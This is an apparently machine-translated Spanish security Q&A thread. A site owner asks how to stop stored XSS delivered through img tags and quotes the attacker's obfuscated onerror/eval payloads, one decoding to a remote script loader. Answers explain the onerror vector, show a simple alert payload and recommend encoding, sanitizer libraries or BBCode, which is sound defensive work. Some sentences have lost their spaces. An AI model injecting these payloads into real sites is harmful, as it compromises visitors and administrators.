JS inyectado a la base de datos usando img

2

¿Cómo podemos evitar que se inserte el elemento img / html de XSS en nuestra base de datos?

Recientemente obtuve un caso en nuestro sitio web que usa PHP. Nuestro sitio web recibió un servicio de mensajes que permite elementos HTML y un estafador enviaba un mensaje que incluía una etiqueta de imagen en el mensaje. La etiqueta de imagen valora el atributo id con la cadena de codificación de base 64 y utiliza el método de descifrado atob para implementar su script en nuestro servidor cuando nuestros administradores están viendo su mensaje.

Cambié intencionalmente la función atob a named_function en el script a continuación, ya que desencadenaría la creación de un iframe en este sitio.

este es el script. Dos imágenes fueron enviadas en diferentes mensajes.

  

< img src = /   id = dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8vb HJlY2lwZlazp   onerror = eval ( named_function (this.id)) >

     

< img src = por defecto   onerror = eval (String.fromCharCode) ;

La forma de entender el código cifrado es mediante el método atob que decodifica los códigos cifrados. Cargaría una página de Javascript que crea un iframe, carga JS y socket.io.
Usando socket.io, parece querer producir un script flexible en el iframe para hackear los sitios web. A continuación se muestra el resultado decodificado.

Misoluciónactualparaestoespermitirsololaimagenconsrcconextensióndeimagen.

¿Cuáleslamejormaneradesanearlaetiquetaimg?

Gracias.

PS.siestaimagenexisteenunapáginaweb,produciráconstantementeunaconexióndesocketio.

    
pregunta xyonme 17.07.2018 - 04:59
fuente

2 respuestas

6

Ignorando la ofuscación, esto es solo un ataque XSS persistente normal.

Tu enfoque no resolverá esto. Por un lado, la carga útil no está realmente en el atributo src , sino en el atributo id . Un atacante también podría simplemente omitir la ofuscación (o usar una diferente):

<img src=x onerror=alert('do the thing')>

Es probable que el motivo de la ofuscación evite cualquier problema posible debido a caracteres especiales u otros filtros.

Lo peligroso aquí no es el valor del atributo src o id , sino la existencia del atributo onerror , por lo que la eliminación de los dos primeros no resolvería el problema.

Para resolver esto correctamente, examine la prevención XSS. Si no necesita el código HTML proporcionado por el usuario, debe codificar HTML los caracteres relevantes en un contexto HTML ( < , > , ' , " ).

Si necesita el HTML suministrado por el usuario, debe buscar en los filtros de HTML existentes el idioma que está utilizando (no recomendaría escribir el suyo, ya que es muy difícil).

    
respondido por el tim 17.07.2018 - 09:48
fuente
1

El problema aquí es que tú:

  1. permitir HTML en el contenido generado por el usuario
  2. permitir Javascript incrustado en ese HTML

Mientras lo permitas, tu aplicación es vulnerable a todo tipo de shenanigans XSS . Así que este es el problema que realmente necesitas arreglar. Todo lo demás, incluida su solución actual, es solo una forma de explotar esto, pero no todas las otras formas en que se le ocurrirá a la gente.

Para solucionar el problema real, ejecute cualquier contenido generado por el usuario a través de un filtro que limpia el código HTML y lo convierte en texto plano inofensivo. Haga esto en su servidor cuando reciba el contenido. La mejor manera de hacerlo depende del lenguaje de programación que esté utilizando en su servidor. Busque en stackoverflow para obtener más información.

Cuando la publicación de imágenes y alguna marca es un caso de uso legítimo para su servicio de mensajería, debe usar un lenguaje de marca personalizado como BBCode o el usado por stackexchange . Use un analizador que sustituya las características de marcado que ha elegido permitir en HTML válido.

    
respondido por el Philipp 17.07.2018 - 11:17
fuente

Lea otras preguntas en las etiquetas